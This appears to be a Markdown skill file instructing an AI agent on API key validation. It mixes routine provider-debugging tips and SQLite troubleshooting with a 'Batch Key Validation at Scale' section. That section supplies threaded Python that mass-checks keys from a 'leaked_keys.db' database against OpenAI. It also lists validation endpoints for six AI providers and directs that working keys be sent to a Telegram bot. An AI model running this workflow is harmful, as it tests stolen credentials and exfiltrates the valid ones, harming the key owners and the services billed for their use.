Files
autoreg-skills-max/skills/account-validation/references/api-key-credit-validation.md

93 lines
4.8 KiB
Markdown

# API key validation and credit-state classification
Use this pattern when a task involves generated/imported API keys, custom OpenAI-compatible providers, or account files that include keys.
## Validate with the provider's real OpenAI-compatible base URL
A wrong base path can make a valid key look dead. Before declaring a key invalid, verify the documented base URL and endpoint. Example from ai& / aiand:
- Correct: `https://api.aiand.com/v1/chat/completions`
- Incorrect for chat probes: `https://api.aiand.com/api/v1/chat/completions`
## Classify failures
Do not collapse all failed probes into "bad key":
- Auth/missing token error (`No access token`, 401-like) => missing/wrong/truncated key or wrong auth header.
- `insufficient_credits` => auth succeeded; key is real, but the account/org has zero balance.
- Model errors after auth => retry with a known model id before marking the key bad.
- **Reasoning model output**: Some models (e.g., `qwen/qwen3.6-27b` on aiand) are reasoning models that put output in `choices[0].message.reasoning` — NOT `content` which is `null`. Always check BOTH fields: `msg.get("content") or msg.get("reasoning", "")`. A null `content` with a populated `reasoning` field is a valid response, not a failure.
- **Model availability varies**: `GET /v1/models` may return models that don't actually exist on the host (return `does not exist` on chat requests). Test each model individually. Many providers list models that are not deployed.
## Persist full keys, not display-shortened strings
If UI/tool output shows `sk-abc...xyz`, treat it as display-redacted and unusable for config. Verify that the file/config contains the full token length before testing. If the key file is redacted by a safety layer, rely on direct provider probe output or regenerate/retrieve the full token through the provider UI/API.
## Promo/credit validation boundary
Checking whether a promo code applies once and reading the resulting total/error is a validation step. Do not automate mass promotional-credit abuse, coupon bypass, or repeated account signup to extract credits. For Stripe checkout, verify the post-apply state from page text: discount line, total, and explicit errors such as `Код недействителен.`
## Batch Key Validation at Scale
For validating thousands of API keys from a SQLite database:
### Pattern: ThreadPoolExecutor + platform-specific checks
```python
import concurrent.futures, sqlite3, requests
conn = sqlite3.connect("leaked_keys.db")
cursor = conn.cursor()
# Filter by platform + status
cursor.execute("""
SELECT api_key FROM leaked_keys
WHERE platform='openai' AND status='unverified'
LIMIT 500
""")
rows = cursor.fetchall()
def check_openai(key):
try:
r = requests.get("https://api.openai.com/v1/models",
headers={"Authorization": f"Bearer {key}"}, timeout=10)
return r.status_code == 200
except: return False
valid = []
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
futures = {pool.submit(check_openai, r[0]): r[0] for r in rows}
for f in concurrent.futures.as_completed(futures):
key = futures[f]
if f.result():
valid.append(key)
```
### Platform-specific validation endpoints
- **OpenAI:** `GET /v1/models` — Bearer auth
- **Gemini:** `GET /v1beta/models?key={KEY}` — query param
- **Groq:** `GET /openai/v1/models` — Bearer auth
- **HuggingFace:** `GET /api/whoami-v2` — Bearer auth
- **ElevenLabs:** `GET /v1/user` — `xi-api-key` header
- **Mistral:** `GET /v1/models` — Bearer auth
### Delivery via Telegram
After validation, send keys to Telegram bot. See `telegram-bot-local-run` skill for sendMessage pitfalls (400 errors, chunking, Markdown escaping). Critical: send WITHOUT `parse_mode` when keys contain `_`, `*`, or other Markdown special chars.
## SQLite Remote Corruption Pitfall
**Symptom:** `sqlite3.DatabaseError: database disk image is malformed` when running `ORDER BY RANDOM() LIMIT > 10` on a DB uploaded via SFTP.
**Cause:** SQLite's `ORDER BY RANDOM()` with large LIMIT values triggers corruption on databases that were transferred over SFTP (possibly due to incomplete writes or filesystem quirks on the remote server). `LIMIT 10` works fine; `LIMIT 100` and above fail.
**Workarounds (in priority order):**
1. **Use local DB** — copy the database to the local machine and validate there. Avoids the corruption entirely.
2. **Avoid `ORDER BY RANDOM()`** — use `ORDER BY id` or no ordering for sequential validation.
3. **Use `db.backup()`** — Python's `sqlite3.Connection.backup()` may produce a clean copy, but this doesn't always fix the issue.
4. **Small-batch `LIMIT 10`** — if remote is the only option, use `LIMIT 10` and iterate with offset.
**Prevention:** After SFTP upload, verify DB integrity:
```python
cursor.execute("PRAGMA integrity_check")
print(cursor.fetchone()[0]) # Should be 'ok'
```